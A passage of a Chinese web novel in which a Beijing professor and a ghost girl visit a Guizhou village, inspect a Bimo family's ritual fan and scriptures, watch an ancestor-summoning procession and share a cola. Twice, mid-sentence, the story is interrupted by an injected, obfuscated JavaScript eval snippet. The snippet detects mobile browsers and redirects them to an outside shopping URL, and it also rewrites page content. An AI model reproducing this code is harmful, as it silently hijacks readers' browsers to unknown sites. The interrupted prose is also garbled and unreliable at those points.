棠又又狠狠白他一眼,然后她转过半边身体,指指那头:“就那个。” 抬起雨伞边缘,程澍礼顺着她手指的方向看去,不远处的向阳山麓上,一座烂木等常见的石板房建在那里,外壁墙体由纹理各异的石块垒筑而成,屋顶之上,青瓦如同鱼鳞般整齐排列,雨水的映射下,房屋和山峦交相辉映,向外散发着古朴的光泽。 屋檐下晒着腊肉鱼干,屋门大开,却四处都没看见人影。 程澍礼问:“这就是你说的,那个老奶奶的房子?” 棠又又嗯了声:“不过现在住在这里的,应该是她的......”她越说越慢,索性伸出十根手指头,嘴里还在迷迷糊糊地算:“儿子的儿子的儿子的儿子的......” 在一个又一个的儿子中,程澍礼撑着膝盖站起来,举步走向那间房子。 这次,棠又又罕见地没有飘着,而是落下来走在他的身边,隔着一把伞的距离,不远不近地跟着。 屋顶的炊烟被风晃碎,细雨挟着泥土的味道,洋洋洒洒无声沁入树林。 棠又又回头又看眼程澍礼刚才坐过的木桩,想了想叫他:“程澍礼。” “嗯?” “你既不怕神也不怕鬼,那你怕什么?” 闻言,程澍礼的面色变了下:“狗。” “狗?”棠又又不可思议地惊呼,“你被狗咬过啊?” 话音未落,屋内冲出一只龇牙咧嘴的白毛大狗,它两边腮肉横飞,攒足了劲头以百米冲刺的速度狂奔向程澍礼。 程澍礼全身的血液几乎全部凝固,僵在原地无法动弹。 可就在大狗冲过来的一瞬间,他感觉到有另一股力量从他身边飞掠而过,带着和煦的风抚过耳畔,最终直直地挡在他的面前。 棠又又停在程澍礼身前半米的地方,她手指一点地面,语调严厉地指挥:“乌吉,坐!” 在她的命令下,刚刚还威风凛凛的大狗变得十分乖顺,它蜷起四肢坐到地上,昂起脑袋摇晃尾巴,目不转睛地盯着棠又又。 安抚完大狗,棠又又轻飘飘转过身来,她将双手背在身后,倾身向前,叫了声还没缓过神的人:“程教授。” 程澍礼猝不及防撞进一双好看的眼睛,好看的像是早春傍晚从灰蓝山顶上拱出的一点清月。 棠又又笑一下:“程教授,不怕了。” “你......”程澍礼喉结微滚,缓过神后才说:“它也能看见你?” “对啊。”棠又又说,“狗能看见正常人看不见的东西。” 程澍礼的表情肉眼可见的扭曲了下。 棠又又当即反应过来,连忙摆手解释:“我不是说你啊。” “程教授!”倏然的一道声音打断他们。 程澍礼侧过身,棠又又从他肩上探出脑袋,阿尧没打伞,他一手拎着水果一手提着腊肉小跑过来,语气又惊又喜:“你这么到这儿来了?” “路过看看。”程澍礼将伞往阿尧那头移,“你怎么在这儿?” “哦!”阿尧掀起胳膊肘,示意后头,“这是我未婚妻家。” 程澍礼讶然:“你的未婚妻?” “我们十八岁就订婚了,就是还没正式办仪式呢。”阿尧露出一个不好意思的笑。 “恭喜啊。”程澍礼说。 两人站在雨中客套,说着有的没的,棠又又蹲在旁边地上,面无表情地跟乌吉大眼瞪小眼,乌吉蹦起来去扑她,扑空了摔在地上嗷嗷叫。 阿尧见他手上拎着东西,好奇道:“您这是干什么去?” 因为阿尧的到来,事情比之前想象的要复杂,三言两语说不明白,程澍礼只好借口说:“随手买了点特产。” “这附近买的?” “嗯。” “我还头一次看见这么好看的包装呢。”阿尧说。 程澍礼心虚地无声笑笑。 “来都来了,上家里吃饭吧。”阿尧将东西全部挪到右手,用空出来的手去扯程澍礼:“走吧程教授,阿芝做饭可好吃了。” 想起此行的目的,程澍礼答应下来,不忘说一句:“打扰了。” “这有什么打扰的!” 阿尧连拖带拽地将程澍礼拉进屋子,正赶上阿芝端着菜走出厨房,冷不丁看见阿尧身边的陌生人,她茫然问道:“这位是?” “这就是我之前跟你说过的,北京来的程教授。”阿尧热情介绍。 生人的到来让阿芝十分腼腆,她诚惶诚恐地招呼:“程教授你随便坐啊,我给你倒杯水。”她说的贵州普通话,音调跟她长相一样柔软。 阿尧扔下东西:“我来我来。” 趁他不注意,程澍礼将那套昂贵的海参礼盒放到不起眼的角落。 因为程澍礼的到来,阿芝说要多加几个菜,转身又进了厨房,趁程澍礼和阿尧在那头说话,棠又又身影一溜,穿进那间门窗紧闭的房间,留下乌吉在门口疯狂挠门。 阿尧斥喝一声:“乌吉!”他将倒好的水端给程澍礼,然后走到乌吉身边高高扬起巴掌假意要揍它,乌吉不躲也不闪,眼巴巴守在门口不肯离去。 借着这情形,程澍礼顺势说:“那房间有什么特别的吗?” 自然而然的语气让阿尧没有生疑,也不是什么需要隐瞒的事,他道:“阿芝家祖上是毕摩家族,因为一些原因后来不干了,那里面都是祖上老毕摩留下来的东西,正好前段时间被文物局看中了,我和阿芝想着反正到时候寨子搬迁也带不走,就都打包好放到那屋子里,准备一起捐给他们。” 毕摩这个词语对程澍礼来说并不陌生。 在棠又又的说辞里,那位曾经能够看见她的老奶奶是寨子里最有威望的毕摩,遇见大小事大家都要听她的,因为她有着常人所不能有的能力,能祈神祭祀,亦能通灵唤魂。 几天前,棠又又告诉程澍礼,老毕摩在世时和她讲过人魂的奥秘。 人有三魂,即为因果魂、肉.体魂和往生魂,三魂各司其职,共同维系着生命的轮回法则,其中,往生魂作为主魂,又称阳魂,人死后回归宗源,肉.体魂徘徊于墓地,因果魂则下地府,而因果魂因为承载着亡灵在世时的一切功德报应,自然而然就成为那些能人异士占卜问卦时询问的对象。 若是寿终正寝,人去世的一定时间后,肉.体魂和因果魂合为一体成为阴魂,与阳魂重新会合转世。 若是死于非命,肉.体魂和因果魂无法合体,而如果亡灵有尚未化解的执念,往生魂就会被困在死去的地方成为孤魂野鬼,如若没有,三魂则会慢慢消散,再无转世可言。 如果这种说法真的成立,那么棠又又的三魂都在游荡。 程澍礼想到卓客提过的那个道士,他来过这里却看不见棠又又,说明出现在程澍礼面前的,不是棠又又的因果魂,而她的肉.体魂和坟墓相依,那就说明老毕摩和程澍礼看见的,是棠又又的往生魂。 所以,只要找到棠又又的坟,就能寻回她的肉.体魂,让她离开这个困住她的地方。 可要真是这样,棠又又的因果魂又去了哪里? 而且,如果必须要有执念才能成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713205|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为鬼,那棠又又应该也是有的,不然也不会成为鬼,可是好巧不巧,她给忘了。 能被忘却的执念自然算不得执念,那棠又又为什么没有消散,她的执念又是什么呢? 问题比预想的困难,程澍礼表情逐渐变得凝重,阿尧抻着头叫他:“程教授?” 程澍礼抬头问:“我能看看那些东西吗?” 阿尧很爽快:“可以啊。” 说着他就起身开门,乌吉先一步跳进去,在屋子里转了一大圈,左看右看没有找到棠又又的影子,只好恹恹地趴到地上,没精打采地看着眼前的一切。 阿尧费了点力气将乌吉抱起来,他跟程澍礼说:“您看着,我去帮阿芝做饭,待会儿叫您。” 程澍礼:“好。” 阿尧掩门离去,留下程澍礼独自打量着满屋叫不上名字的东西,它们被阿芝擦的一尘不染地摆在供桌上,却难以掩盖细缝中岁月的痕迹,而每一道痕迹里都透着奇异的光,仿佛光的背后是另一个神秘而幽邃的世界。 供桌的正中间,一把黑褐色的圆形铜扇赫然挺立在扇架,扇柄穿镶而过,两只神鸟凌然盘踞,与雕刻的虎兽爪纹交相辉映,栩栩如生的姿态仿佛蕴含着无尽的力量,似乎下一秒就要奔腾于九天之上。 除此之外,一把小小的扇子,没有任何多余的修饰,却气势浩然嚣张,丝毫不输给旁边做工复杂的法鼓、签筒等的其他法器。 程澍礼望着那把扇子,久久不能移开视线。 像是有一股无端的召唤在指引着他,他情不自禁地迈开步伐,一步一步向供桌靠近,越走越近,越走越近,直至身到桌边,他心口骤然划过一丝尖利的锐痛。 棠又又从柜子后面走出来时,见他脸色惨白,问:“你怎么了?” 程澍礼最后又看了眼那把扇子,摇头说没什么。 这一眼没逃过棠又又的眼睛,她以为他对那扇子感兴趣,自顾自说道:“那是用来超度亡魂的法扇,老奶奶以前用它送走了不少人呢。” 没等程澍礼说话,棠又又接着补充:“哦对,那傻子说的小孩儿,也是这扇子送走的。” 程澍礼拿起一本经书翻看,随口问:“那怎么没把你送走?” 棠又又坐在墙角的水鼓上,两手撑在腿边,光着的脚丫子一晃一晃地前后甩来甩去,她说:“也许是我命硬。” “命硬你死这么早?” “程澍礼你评职称的时候也这么能说会道吗?” 在别人面前就是亲切随和的程教授,而到她这里,就是死板毒舌的程澍礼,棠又又真想把他的脑子掰开,看看里面是不是有个叫做“只要跟棠又又好好说话就会死”的定时炸弹。 不止是她,其实程澍礼也察觉了一些异样。 他知道自己过于无聊缺乏社交,更不会主动用无意义的聊天来打破沉默,加上长期的学术工作令他习惯了直截了当、避免迂回的交流方式。 程澍礼想,或许是自己迫切地寻找答案,操之过急忽略了棠又又的感受。他放下经书转身,由衷地向她道歉:“对不起。” 他说:“我只是,下雨的时候心情会不太好。” 突如其来的道歉让棠又又一愣,她看着他的眼睛,很认真地问:“是因为我吗?” “当然不是。”程澍礼迅速而坚定的摇头,他声音低缓:“我从小就有雨天综合症,下雨的时候会不自主的情绪低落,变得冷漠和不近人情,跟你没有关系。” 棠又又“啊”了一声,随即恍然大悟:“所以你每次下雨都要点香?”她一直以为那是程澍礼某种仪式。 程澍礼:“嗯。” 话落,陷入一阵短暂的沉默,棠又又时不时偷偷瞄向程澍礼,他同样看着她,眼中含着情绪复杂的歉意,真诚的,无措的,坦白的。 “这还不简单。”棠又又忽的笑了。 她伸手打个响指,外面的雨声蓦然消去大半,风向转变,玻璃窗渐渐变得亮堂,阳光从窗棱的缝隙降临,折下一道弯弯的、五颜六色的彩虹桥。 棠又又脸上笑容尚未褪去,她就在那笑里说:“虽然不能让雨停,但是送你道彩虹,会不会好点?” 程澍礼立在原地默不作声,目光投向外面晴朗的天空,天上的云朵被风追赶,迅疾移动,翻涌出大片的湛蓝,彩虹桥的浮光里,山山水水都变得明亮起来。 她坐在山水和彩虹中央,明眸善睐,身后有一场下不完的雨。 再次拿起经书,程澍礼温声道:“谢谢你,好多了。” “真的?”棠又又声调扬起。 程澍礼说:“如果你跟它一样安静的话。” 棠又又小脸一垮:“滚啊!” 7. 第七场雨 他俩在小屋内待了好一会儿。 棠又又大咧咧支起双腿,躺水鼓上变水花玩儿,程澍礼背对着她在那研究经书,但是上面文字晦涩复杂,看半天也认不出几个字。 “这是在乌蒙大草原那边拍的吧。” 突然,棠又又惊呼着凑到桌子上摆着的照片,掩饰不住的激动和羡慕:“这大马看着真精神!” 她说的那张照片中,一个头戴八角法笠的男人坐在骏马之上,手持法铃不怒自威,也有柔和的一部分,给了坐在他怀里的小姑娘,小姑娘面对镜头满脸天真,全然不知镜头正在定格这一神圣的瞬间。 程澍礼偏头看一眼,确实是乌蒙大草原那边的风景:“你没去过?” “去不了。”棠又又指着外头一眼就能看见的山,怕他看不见还让了下,地上的小彩虹都钻她衣服底下了:“最远能走到那里。” 困住她的地方有明确的边界,北至大皮坡,南临法古梁子,西贴岩口大山,往东最远也只能到靠近万峰林的那条高速上。 不去也好,省得破坏那些慕名游览万峰林的游客的心情,所以,棠又又自认为景区负责人应当要感激她,至少给她立个雕塑,每天好吃好喝的供着。 程澍礼自然不知道她想的这些,只看见了她的向往:“你想骑马?” “你不想吗?”棠又又趴在窗户上问他,“蓝天,白云,草原,大马,流星。”然后她狠狠地吸下鼻子,好像空气里有什么诱人的香气:“还有烤羊腿。” 程澍礼拎着经书走到她身后,窗外只有走不出去的群山。 他侧目,棠又又正眯眼想象着她感受不到的风,从她的表情里看,应该是幻想过很多次了。 于是程澍礼说:“我想办法让你骑上。” 棠又又飞快地转过来:“真的?” “真的。”程澍礼郑重点头,“就当是为我之前的行为做出的补偿。” 在他受过的教育里,真正的道歉不能仅停留于口头,而应当要有所实际行动,即使对方是一只连心都不一定有的鬼。 如果说之前棠又又觉得程澍礼毒舌、变态又古板,那么现在,她觉得这些大部分都来自于他坚守的认真,带着一丝可爱的认真。 她瞄眼继续研究经书的程澍礼,抿唇微笑了下。 看眼他手里的东西,棠又又问:“发现什么了吗?” 程澍礼的指尖自上而言,落到经书的最底下:“只认得几个字,估计没什么用。” “我看看!”棠又又从后头贴过来。 如果他们能够接触,程澍礼应当能感受得到棠又又的头搁在他的肩膀上,但他沉迷于揭秘文字,没有分心。 他指着笔画最复杂的那个问:“认识吗?” 棠又又看着那乌漆麻黑的一团,嫌弃地皱眉:“长得比乌吉还丑。” 程澍礼:“......” 以为她不信,棠又又用手在空中比划:“乌吉刚出生的时候,脸跟被人踩平了一样,那眼睛。”她竖起一根小拇指,用大拇指掐着末端一小节,“就这么点儿!比尼莫阿奶种的苹果的籽还小。” 她说的有理有据,听得程澍礼想笑:“你管狗丑不丑的干什么?” “你们活人都喜欢好看的,凭什么鬼不行?”她忿忿憋下嘴巴,却在看着程澍礼时,眼睛流光一闪。 她在半空中转过身体,鼻尖贴着程澍礼的:“你长得这么撑投,我就很喜欢。” 这是第二次听她说“撑投”,虽然程澍礼还不懂什么意思,但因为近在咫尺的距离,和她后半句的喜欢,他的脖子连着耳后根变得通红。 棠又又每次看他那不识逗的样子,都觉得无比好笑,时代进步如此之快,那三年级的小舟都有好几个前女友了,怎么还会有像程澍礼这么保守传统的现代人。 她飘到供桌旁边坐上去,坐到那个法扇旁边。 程澍礼想起刚才:“我刚才看见那个扇子,心脏疼了一下。” “它吗?” “嗯。” “奇怪。”棠又又低吟几秒,“难道你跟它有什么宿命的缘分?” 程澍礼说:“我不信这个。” 棠又又道:“你以前还不信鬼呢。” 不算相信,只是因为认知能力和科学知识的有限,暂时对未知保持应有的尊重,至少目前,程澍礼仍旧秉持着一颗探索真知的心,但这话没敢跟棠又又说,怕她跳脚起来折腾其他人。 乌吉在外头汪汪大叫,伴着阿尧走过来的脚步声,他推门而入:“程教授,可以吃饭了。” “来了。”程澍礼放下经书,他放慢脚步等棠又又先飘出门,才走出去关上门。 果真如阿尧所说,阿芝做的饭菜果然色香味俱全,丝毫不亚于旅游宣传片里讲的那样,干椒瓜秧,野菜糍粑,清蒸鲶鱼,烟熏腊肉洋芋片,红酸汤煮鱼,再配上一碗浓浓的糊辣椒蘸水,满满一桌是很有诚意的一顿饭。 阿芝和阿尧很尊重程澍礼,所以特意准备了一双公筷。而阿尧又很喜欢程澍礼,觉得他虽然从大城市来但完全没有距离感,他边给程澍礼夹菜边招呼:“程教授,你吃啊。” 没过一会儿,程澍礼的碗里就堆起了小山包。 他们吃饭时,无福消受的棠又又在外头空地上逗狗,乌吉被她的飘忽不定急得来回乱窜,有一下没一下地从门前跑过。 阿尧说:“今天乌吉是怎么了?” 阿芝头都没抬:“一下雨它就撒欢儿呢。”说完她对上程澍礼的眼神,有些不好意思地抿嘴笑笑,“乌吉很喜欢下雨,寨子里其他小狗也喜欢。” 阿尧哦了声没去管了,转头又给程澍礼夹了一筷子腊肉。 饭间,程澍礼不太明显地提了一句屋内法器和经书的事儿,阿尧对此一无所知,求助地看向阿芝,阿芝轻轻摇头:“从我爷爷那一辈不干这个开始,家里人也不让提这些,我也不太清楚。” 阿尧问他:“程教授,您怎么对这个感兴趣?” “有个朋友做的这方面的研究,看过一点。”程澍礼说。 阿尧热情大笑道:“那有机会一定让您朋友来我们这看看,说不定实地考察能有点收获。” 阿芝也笑,温温淡淡的:“我还给你们做饭吃。” 一顿饭吃得热热闹闹,让程澍礼暂时放下了“食不语寝不言”的规矩。 饭后阿尧本还想留程澍礼再坐一会儿,但他说要下午上班前还得看看学生论文,阿尧便不再强求,从家里捡了点水果和自制的牛肉干巴,装进袋子里让他一定要带回去。 程澍礼看着手里沉甸甸的一兜子,蓦然笑了下,为这许久没感受过的淳朴的人情往来。 这份好心情戛然止于下山的半途,程澍礼发现自己把吊楼钥匙落在阿尧家了。 棠又又抱臂站在旁边的小路上,哼笑着讥讽他:“程教授的认真呢?程教授的严谨呢?程教授的一丝不苟呢?” 程教授一声不吭,径直回头上山拿钥匙。 棠又又跟着他飘回去,时不时要蹦出几句话嘲弄他一下,程澍礼薄唇绷成直线,不反驳照单全收。 快到门前大树下时,猛地听见一声摔打。 树后,伞下,一人一鬼齐齐歪过脑袋往里看,动作出奇的一致。 阿芝一改刚才的温柔,嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713206|144657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出一串叫骂:“拉玛阿尧!别以为我今天给你吃饭就不生气了!我那是看在程教授的面子上!现在你给我从哪儿来回哪儿去!” 阿尧嬉皮笑脸地蹭到阿芝身边,想伸手捏她脸庞,被她冷着脸无情打开。 阿尧有多欢喜她就觉得她有多可爱,他无赖地摇阿芝胳膊:“昨天真是赶集太忙了忘记回你消息,下次一定不会了,别生气了嘛。” 阿芝一把甩开他的手,转过身去不理他,阿尧跟个人精似的贴过去,从怀里摸出条项链,用手捏着项链尾巴献到阿芝眼前:“呐!昨天赶集时候买的,你这么好看的人就该戴这么好看的项链,但我还是觉得,人比项链好看。” “我为什么要跟项链比好看?”话是这么说,可她按耐不住的嘴角已经说明了态度。 “你比项链好看多了!” 阿芝嗔道:“油嘴滑舌。” 话音未落阿尧倾身,捧着阿芝的脸亲上去,阿芝的脸在那一刹红的像天边艳丽的晚霞。 棠又又在这边小小的哇哦一声:“这就啃上了?!” 程澍礼一惊,慌乱抬手去遮棠又又的眼睛,自己也连忙往后退开半步,彻底将那画面避开:“非礼勿视非礼勿视。” 棠又又切了声,一副“瞧你这没见过市面的傻样”的眼神:“你不会以为我这么多年一直在土里埋着吧?这有啥了不起的。” 程澍礼不想跟她争论,而是转身走下石阶:“走吧,钥匙我让阿尧下午带过来。” 棠又又嘴上应着,但好奇心理让她忍不住还想往里搂一眼,被程澍礼早有预料般地制止:“不准偷看!” 他说话时头都没回,但又好像什么都了如指掌,棠又又嘴唇快速翕动几下,有什么话呼之欲出。 程澍礼又是一声:“不准骂人!” 这下棠又又是真乐了,她chua地飘到程澍礼身边,圆溜溜的眼睛看他:“你怎么什么都知道?” 程澍礼心平气和:“因为我认真。” 棠又又:“?” “因为我严谨。” “因为我一丝不苟。” 棠又又:“......你有病吧。” 玩闹归玩闹,程澍礼觉得应该跟要棠又又说清一些事情,因为无论这个社会再进步再开化,偷窥他人亲热都是极其不道德的行为。 他努力很随意地说:“棠又又,就算别人看不见你,你也不能随便看。” 棠又又没懂:“看什么?” 程澍礼:“......没看就行。” “?” 慢慢的,棠又又转头对上程澍礼沉默的眼神,突然意识过来,一下子瞪大眼睛指着他鼻子骂:“登徒子!不知羞!” 难得见到她这么激烈的反应,程澍礼就知道应该是没有过的,他放了放心,但不知为何,问这话的人却悄悄红了脸,程澍礼尴尬地别开眼,想走的快点,用流动的风消去耳后的燥热。 棠又又察觉他脚步突然加快,好像明白了什么:“程澍礼!”故意拖长的语调里都是不怀好意。 程澍礼不理她,闷头往前走。 “程澍礼!你不会没被人亲过吧?” 这说的是什么话!程澍礼在心里呵斥了句,但是耳朵烧得更红。 顿时,棠又又像是发现了什么不得了的事情,她嘻嘻哈哈地跑到程澍礼边上,非要凑近了再问一遍:“真没亲过啊?” 山间小路上,晴日细雨。 年轻的副教授面色无奈地挥了挥手,逐云的风和打摆的叶都不知道他这奇怪动作的原因,只知道在那一刻,他唇角微弯,眼神是在雨天时从未有过的淡淡欢愉。 8. 第八场雨 在正式给李多聿发邮件之前,程澍礼进行了周密的资料整理工作,然后,他翻开随身携带的笔记本。 尽管如今盛行电子办公,他依旧偏爱于这种在外人看来繁琐又传统的手写记录方式,认为这样能更有效地促进知识内化并巩固记忆。 程澍礼端坐在书桌前,执笔在纸页的最上方,工工整整地写下今天的日期和地点,两个看似简单的元素,为他接下来的记录奠定了时空的坐标。 紧接着在第二行,程澍礼写下研究对象四个字,只是再动笔时他有几秒的迟疑,笔尖在空中悬停,似乎在斟酌接下来每一个字的重要性。 静默良久,程澍礼落笔,“棠又又”三个字跃然纸上。 李多聿看见邮件的时候才下飞机,说起话来一顿兵荒马乱:“东西我都看完了,但是你想知道的不在我的研究方向,不过据我所知,隔壁组倒是刚发表了一篇有关贵州民俗的论文,正好下个季度他们打算去实地调研,我把领队的联系方式给你,另外我也再找找还有什么信息,到时候一起发给你。”他说话的时候背景声音格外嘈杂,还夹杂着旷远的登机播报。 听出他是在机场,程澍礼问:“你也去意大利了?” 李多聿知道瞒不过他,便直说了:“景祎水土不服,打几天吊针了。” 程澍礼了然:“好好照顾她。” “照顾?”李多聿从喉管里发出一声冷笑,听着瘆人:“我弄死她。” 昭然若揭的事,程澍礼识趣地没有多说。 挂掉电话,程澍礼穿上外套出门,今天他要去棋山山脚下的小卖部,给棠又又买可乐。 小卖部静谧地坐落在石阶底部向前百米的小块空地上,四周是郁郁葱葱的树木屏障,树网下由几个集装箱拼接起来一个橙蓝的小房子,空间紧凑,但内有乾坤,货架上商品琳琅满目,各种生活用品应有尽有。 店主诺苏正坐在柜台后面编竹筐子,看见来人,他抬头一笑,热情地招呼程澍礼:“程教授要什么你自己拿啊。” 来这里的人都是有仙寨和邻近村落的村民,全是信得过的熟面孔,这种由乡野和土地构建起来的信任和默契,早已超越了简单的买卖关系,所以大家来小卖部拿东西基本不用诺苏亲自动手,甚至偶尔他下山赶市集,小卖部也不会关门,让大家自助服务。 跟阿尧路过这里买过几次水后,程澍礼也习惯了这种模式,他轻车熟路地推开冰柜门,从中选了两听冰镇可乐出来,随后打开手机扫码付钱,整个过程流畅而自然,没有丝毫的拖泥带水,一如他从来不会主动跟人寒暄搭话。 只是在他转身要走时,柜台里的诺苏突然丢掉筐子站起来,一把从身后拽住了他的胳膊:“程教授,您等会儿再走。” 程澍礼愣了下:“为什么?” 诺苏双手交叠撑在柜台上,探出半个身子,眼中透露出对古老传统的敬畏:“上边老杨家八十岁的老母亲前几天在外头去世了,按我们这边的习俗,人走了之后,她后辈子孙要回老家来请祖灵,算算时间马上要从这经过,您要是现在走,可能会跟“先人”撞路,不太吉利的。” 话音未落,两旁草木灌生的道路尽头,出现一支几十人的队伍,男女老少都身穿隆重的丧葬服饰,为首的男人表情悲伤地捧着一个牌位,他身后的其他人手中都举着一支几人高的白色经幡,它们在微风的轻拂下轻轻摆动,仿佛在为逝者指引归途。 队伍缓缓朝这边走来,没有人说话,只有脚步沉稳踩在地面的声音,每一次踏在地上都像是在和大地共鸣,似乎在用这种方式和逝者做最后的告别。 路过的村民和车辆,见状纷纷停在路边,向队伍投去一个静穆而哀伤的眼神,人文山川和原始自然交汇的画面显得异常庄严和神圣。 队伍行进地很慢,诺苏看了一会儿,从柜台棒棒糖桶里摸了几个棒棒糖递给程澍礼:“还要一会儿才能走过去呢,程教授吃个糖。” “谢谢。”程澍礼接过糖果,但是立马又扫码付了钱,像是生怕会被拒绝。 果然,诺苏舔舔干涩的嘴唇:“哎呀不用付钱,几颗糖不值什么钱的嘞。” 程澍礼撕开糖纸,将晶莹剔透的糖果放进嘴里,细腻甘甜的苹果香流淌进喉管,他不由自主地眯起眼睛,再次望向已经走到道路另一头的队伍。 队尾的几个女人各自紧紧牵着自己的小孩,以防他们被身后几只星星点点的萤火虫勾走注意力,从而偏离仍在向前的队伍。 从小卖部离开,天光悄然滑向西方,山巅的水滴缓缓聚拢形成雾气,将太阳的余光晕染到四面八方的山林。 程澍礼拿着可乐往吊脚楼走,迎面再次飞来几只萤火虫,它们循着不规则的运动轨迹向后舞动,和程澍礼擦肩而过。 山野半落,从上到下降落一层黄昏的暗影,程澍礼转身大步走上石阶,身影没入丛林消失不见,萤火虫急忙追赶已经走远的队伍,在半空留下几道闪着微光的虚影。 # 傍晚六点半,晚风拂过棋山,薄纱般的夕光横跨整个天穹。 棠又又坐在吊脚楼的悬空观景台,远方苍茫和日暮云天尽数倒映在她眼底,微风细雨不断变换,渐渐幻化出几十年前相似的轮廓。 “你不该掺和这件事。” 从树冠中漏下的天光打在来人身上,令其沧桑的声音格外浑厚,带着不易察觉的警告,“就像你不该出去。” “不知道。”一道更年轻的声音响起,“可他不走就会变得跟我一样。” 几秒后脚步响动,青黑长裳上的花纹图腾一寸一寸暴露在亮光之下,树底下的人缓缓清晰,用一种审视的目光居高临下地看向她苍白的脸。 “你会后悔的。” 朦胧雨幕后,来人向她伸出枯瘦的手掌...... ——两听红罐的可口可乐突然出现在棠又又的面前。 她抬起头便看见程澍礼站在旁边,语带戏谑道:“程澍礼你迟到了。” “我只迟到了5分34秒,根据铝和锡的散热性,这段时间应该不会耽误你感受冰镇可乐的口感。”程澍礼收回手转回屋内,捣鼓了几分钟,将点好的线香端出来放在窗台上,然后扶着地板在她旁边坐下,双腿悬在半空,裤管被晚风鼓起猎猎作响。 因为淋过雨,他眼睫上的水珠微微淬着光:“况且你并不能尝出冷热。” 严谨的、认真的、一丝不苟的博物馆活柱子进化出了能够严密精算的大脑。 “......”棠又又嘴唇动了动,将什么不雅的话无声地表达了出来。 啪!呲啦! 易拉罐拉环被打开,液体中气泡争前恐后地滋滋升腾,棠又又以一种近乎仪式感的姿态将可乐从程澍礼手中接过来,情不自禁地做下吞咽的动作。 程澍礼双手自然交叠在胸前,不动声色观察她的反应。 先是小小的抿了一口,从未感受过的味道带来新奇的体验,棠又又眯一眯眼,又觉得隐隐有股回旋的酸甜,好像无数精灵在口腔中欢快地跳舞,异样的刺激令她身心舒畅。 再睁眼时,棠又又黑白分明的眼珠霎时写满明亮的惊喜。 那画面如果让程澍礼来形容,好像是风速报警器监测到超速时,“叮”地亮起报警灯,只不过这时候,那个小灯泡亮在棠又又的脑袋上。 这样想着,程澍礼的眼底渐渐升起一丝连他自己都没发现的,温柔的笑意。 “原来可乐是这个味道的!” 棠又又惊呼出声,与此同时,天上的雨点明快 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“是给你带的。”程澍礼掏出口袋里的棒棒糖放到她手边,不拆穿她的小算盘:“诺苏供奉的糖果。” 动作之余带出还没扔掉的糖果纸,彩色的塑料片被风一吹,旋转飞舞直奔向空旷遥远的天空。 棠又又说:“所以你迟到是因为躲在小卖部偷吃糖果。” “当然没有。”话一出口,程澍礼瞳孔骤缩了瞬,连带着他接下来的辩白都显得有些局促:“我迟到是因为在山下遇到了一个请祖灵的队伍。” 棠又又狐疑地看着他:“没有就没有,你那么紧张干什么?再说了你这么大人了,吃个糖果又不是什么大不了的事情。” 程澍礼的目光微微闪动,有什么东西很快被他隐藏,而后话锋一转:“棋山里有很多萤火虫吗?” 棠又又捧起可乐喝了一口,舔下嘴唇问:“你看见啦?” 这反而更能提起程澍礼的兴趣,转过头无声地看她,沉默片刻后,棠又又深深地叹一口气:“看来老人家很舍不得走啊。” 程澍礼不禁紧张起来:“你能看见别的......鬼?” 棠又又摆出一副惊恐的表情:“那多吓人啊!!” “......” 屋檐的雨滴滴答坠落,周围树木绿得滋润而透明,屋前所有的色彩都融化在绵柔的白雾里。 “请祖灵,其实请的就是他们的往生魂。棋山以前的村民,大多是早年间从四处流窜过来躲避战乱的,很多人到死都没再能回到故土,可是他们的后人已经习惯了在这里繁衍扎根,”棠又又娓娓道来,“而为了能让先人们能安息在棋山,慢慢就演变出去他们故土请祖灵的习俗,因为按照他们的传说,人死之后,他的魂灵会回到最思念的故土,所以......” 她眸底隐约映出期冀的光芒:“萤火虫会牵引亡魂去到最思念的人身边。” 话音甫落,两只迷路的萤火虫破雨而出,在半空中交缠出两道流光的弧线,它们各自煽动着薄薄的翅膀,摇晃飞向山下鼓乐齐鸣的请灵队伍。 棠又又和程澍礼并坐在狭窄的悬台上,目送它们消失在透着凉意的雨水中。 无声半晌后,程澍礼的求知精神虽迟但到:“为什么是萤火虫?” “......” 传说传说,当然是别人怎么传的就怎么说! 棠又又囫囵道:“因为它们的尾巴一闪一闪?” 程澍礼欲言又止,棠又又在他二次开口前一个暴跳:“适可而止吧年轻人!再问就不浪漫了!” 年轻人听话闭嘴,安静地坐在旁边,心里在琢磨人的魂灵是不是像小飞虫们一样有趋光性才会追着萤火虫跑。 ——有机会试试手电筒能不能牵着棠又又跑。 9. 第九场雨 三天后,烂木等西南角的荒山后岭。 周围参天古木树影憧憧,腐烂的枯叶之下虫鸣阵阵,远处的山头传来野兽的嘶吼,暴雨哗啦啦砸向泥泞的地面,四周钻起恐怖阴森的气息。 程澍礼深一脚浅一脚地踩进没膝的野草丛,独自走在人迹罕至的深山老林,一片错杂密布的植被前,一条成年巨蛇盘踞在需几人合抱才能围拢的大树上,它身体上覆盖的鳞片散发着冷冽的光泽,猩红的眸子锁定程澍礼的身影,锋利的尖牙向外释放出嗜血的信号。 程澍礼吸一口气强行镇定下来,以肉眼不可见的速度将伞沿微微下压,屏住呼吸放慢动作,隔着躁乱的雨点,全神贯注地去听那蛇的动静,它没有大动作,只偶尔扭动身体,发出令人毛骨悚然的爬行声。 突然,程澍礼感到脚边草丛一动,几个圆滚滚的重量依次从他脚面上踩过去,不知从哪跑出来六只颜色不同大小相近的小狗。 